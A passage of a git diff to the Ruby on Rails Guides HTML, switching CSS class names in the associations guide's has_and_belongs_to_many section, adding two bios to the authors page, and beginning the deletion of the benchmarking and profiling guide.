<h5 id="_tt_delete_sql_tt"><tt>:delete_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the <tt>:delete_sql</tt> option, you can specify a complete SQL statement to delete them yourself.</p></div>
<h5 id="_tt_extend_tt_2"><tt>:extend</tt></h5>
-<div class="para"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
+<div class="paragraph"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
<h5 id="_tt_finder_sql_tt_2"><tt>:finder_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
<h5 id="_tt_foreign_key_tt_4"><tt>:foreign_key</tt></h5>
-<div class="para"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
+<div class="paragraph"><p>By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2381,10 +2117,9 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>friends<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"User"</span><span style="color: #990000">,</span>
<span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"this_user_id"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>association_foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"other_user_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_group_tt_2"><tt>:group</tt></h5>
-<div class="para"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
+<div class="paragraph"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2392,16 +2127,15 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"factory"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_include_tt_4"><tt>:include</tt></h5>
-<div class="para"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
+<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used.</p></div>
<h5 id="_tt_insert_sql_tt"><tt>:insert_sql</tt></h5>
-<div class="para"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
+<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to create links between the associated classes. With the <tt>:insert_sql</tt> option, you can specify a complete SQL statement to insert them yourself.</p></div>
<h5 id="_tt_join_table_tt"><tt>:join_table</tt></h5>
-<div class="para"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
+<div class="paragraph"><p>If the default name of the join table, based on lexical ordering, is not what you want, you can use the <tt>:join_table</tt> option to override the default.</p></div>
<h5 id="_tt_limit_tt_2"><tt>:limit</tt></h5>
-<div class="para"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
+<div class="paragraph"><p>The <tt>:limit</tt> option lets you restrict the total number of objects that will be fetched through an association.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2409,12 +2143,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at DESC"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">50</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_offset_tt_2"><tt>:offset</tt></h5>
-<div class="para"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset &#8658; 11</tt>, it will skip the first 11 records.</p></div>
+<div class="paragraph"><p>The <tt>:offset</tt> option lets you specify the starting offset for fetching objects via an association. For example, if you set <tt>:offset =&gt; 11</tt>, it will skip the first 11 records.</p></div>
<h5 id="_tt_order_tt_3"><tt>:order</tt></h5>
-<div class="para"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
+<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause).</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2422,25 +2155,24 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Parts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_and_belongs_to_many <span style="color: #990000">:</span>assemblies<span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"assembly_name ASC"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
<h5 id="_tt_readonly_tt_4"><tt>:readonly</tt></h5>
-<div class="para"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
+<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated objects will be read-only when retrieved via the association.</p></div>
<h5 id="_tt_select_tt_4"><tt>:select</tt></h5>
-<div class="para"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
+<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.</p></div>
<h5 id="_tt_uniq_tt_2"><tt>:uniq</tt></h5>
-<div class="para"><p>Specify the <tt>:uniq &#8658; true</tt> option to remove duplicates from the collection.</p></div>
+<div class="paragraph"><p>Specify the <tt>:uniq =&gt; true</tt> option to remove duplicates from the collection.</p></div>
<h5 id="_tt_validate_tt_4"><tt>:validate</tt></h5>
-<div class="para"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
+<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>false</tt>, then associated objects will not be validated whenever you save this object. By default, this is <tt>true</tt>: associated objects will be validated when this object is saved.</p></div>
<h4 id="_when_are_objects_saved_4">4.4.3. When are Objects Saved?</h4>
-<div class="para"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
-<div class="para"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="para"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
-<div class="para"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
+<div class="paragraph"><p>When you assign an object to a <tt>has_and_belongs_to_many</tt> association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.</p></div>
+<div class="paragraph"><p>If any of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
+<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_and_belongs_to_many</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.</p></div>
+<div class="paragraph"><p>If you want to assign an object to a <tt>has_and_belongs_to_many</tt> association without saving the object, use the <tt><em>collection</em>.build</tt> method.</p></div>
<h3 id="_association_callbacks">4.5. Association Callbacks</h3>
-<div class="para"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
-<div class="para"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a <tt>:before_save</tt> callback to cause something to happen just before an object is saved.</p></div>
+<div class="paragraph"><p>Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>before_add</tt>
@@ -2462,7 +2194,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
+<div class="paragraph"><p>You define association callbacks by adding options to the association declaration. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2474,10 +2206,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> check_credit_limit<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
<span style="color: #990000">...</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails passes the object being added or removed to the callback.</p></div>
-<div class="para"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails passes the object being added or removed to the callback.</p></div>
+<div class="paragraph"><p>You can stack callbacks on a single event by passing them as an array:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2493,11 +2224,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> calculate_shipping_charges<span style="color: #990000">(</span>order<span style="color: #990000">)</span>
<span style="color: #990000">...</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If a <tt>before_add</tt> callback throws an exception, the object does not get added to the collection. Similarly, if a <tt>before_remove</tt> callback throws an exception, the object does not get removed from the collection.</p></div>
<h3 id="_association_extensions">4.6. Association Extensions</h3>
-<div class="para"><p>You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
+<div class="paragraph"><p>You&#8217;re not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2509,9 +2239,8 @@ http://www.gnu.org/software/src-highlite -->
find_by_region_id<span style="color: #990000">(</span>order_number<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">..</span><span style="color: #993399">2</span><span style="color: #990000">])</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If you have an extension that should be shared by many associations, you can use a named extension module. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2529,9 +2258,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>deliveries<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> FindRecentExtension
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>To include more than one extension module in a single association, specify an array of names:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -2539,10 +2267,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>extend <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span>FindRecentExtension<span style="color: #990000">,</span> FindActiveExtension<span style="color: #990000">]</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
-<div class="ilist"><ul>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Extensions can refer to the internals of the association proxy using these three accessors:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>proxy_owner</tt> returns the object that the association is a part of.
@@ -2562,8 +2289,8 @@ http://www.gnu.org/software/src-highlite -->
</div>
<h2 id="_changelog">5. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
September 28, 2008: Corrected <tt>has_many :through</tt> diagram, added polymorphic diagram, some reorganization by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> . First release version.
@@ -2582,7 +2309,7 @@ September 14, 2008: initial version by <a href="../authors.html#mgunderloy">Mike
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/authors.html b/railties/doc/guides/html/authors.html
index 6fd556d2cd..ab205c96a9 100644
--- a/railties/doc/guides/html/authors.html
+++ b/railties/doc/guides/html/authors.html
@@ -1,245 +1,87 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>About the Authors</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>About the Authors</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" class="notoc">
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container" class="notoc">
-
- <div id="content">
- <h1>About the Authors</h1>
- <div id="preamble">
+ <div id="header" class="notoc">
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container" class="notoc">
+
+ <div id="content">
+ <h1>About the Authors</h1>
+ <div id="preamble">
<div class="sectionbody">
<div class="sidebarblock" id="fcheung">
<div class="sidebar-content">
<div class="sidebar-title">Frederick Cheung</div>
-<div class="para"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
+<div class="paragraph"><p>Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006.
He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.</p></div>
</div></div>
<div class="sidebarblock" id="mgunderloy">
<div class="sidebar-content">
<div class="sidebar-title">Mike Gunderloy</div>
-<div class="para"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
+<div class="paragraph"><p>Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current
work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a>.</p></div>
</div></div>
<div class="sidebarblock" id="miloops">
<div class="sidebar-content">
<div class="sidebar-title">Emilio Tagua</div>
-<div class="para"><p>Emilio Tagua &#8212; a.k.a. miloops &#8212; is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
+<div class="paragraph"><p>Emilio Tagua&#8201;&#8212;&#8201;a.k.a. miloops&#8201;&#8212;&#8201;is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist.
Cofounder of <a href="http://www.eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008.
Can be found at gmail, twitter, freenode, everywhere as miloops.</p></div>
</div></div>
<div class="sidebarblock" id="hawe">
<div class="sidebar-content">
<div class="sidebar-title">Heiko Webers</div>
-<div class="para"><p>Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development
+<div class="paragraph"><p>Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development
company focused on Ruby on Rails. He blogs at <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a>. After 10 years of desktop application development,
Heiko has rarely looked back.</p></div>
</div></div>
<div class="sidebarblock" id="toretore">
<div class="sidebar-content">
<div class="sidebar-title">Tore Darell</div>
-<div class="para"><p>Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
+<div class="paragraph"><p>Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails
and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no/">Sneaky Abstractions</a>.</p></div>
</div></div>
<div class="sidebarblock" id="zilkey">
<div class="sidebar-content">
<div class="sidebar-title">Jeff Dean</div>
-<div class="para"><p>Jeff Dean is a software engineer with <a href="http://pivotallabs.com/">Pivotal Labs</a>.</p></div>
+<div class="paragraph"><p>Jeff Dean is a software engineer with <a href="http://pivotallabs.com/">Pivotal Labs</a>.</p></div>
+</div></div>
+<div class="sidebarblock" id="cmarques">
+<div class="sidebar-content">
+<div class="sidebar-title">Cássio Marques</div>
+<div class="paragraph"><p>Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, C++ and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">http://cassiomarques.wordpress.com</a>, which is mainly written in portuguese, but will soon get a new section for posts with english translation.</p></div>
+</div></div>
+<div class="sidebarblock" id="lifo">
+<div class="sidebar-content">
+<div class="sidebar-title">Pratik Naik</div>
+<div class="paragraph"><p>Pratik Naik is an independent Ruby on Rails consultant and also a member of the <a href="http://rubyonrails.com/core">Rails core team</a>. He blogs semi-regularly at <a href="http://m.onkey.org">has_many :bugs, :through =&gt; :rails</a> and has an active <a href="http://twitter.com/lifo">twitter account</a> .</p></div>
</div></div>
</div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/benchmarking_and_profiling.html b/railties/doc/guides/html/benchmarking_and_profiling.html
deleted file mode 100644
index 9bd1c10dc8..0000000000
--- a/railties/doc/guides/html/benchmarking_and_profiling.html
+++ /dev/null
@@ -1,1018 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Benchmarking and Profiling Rails</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
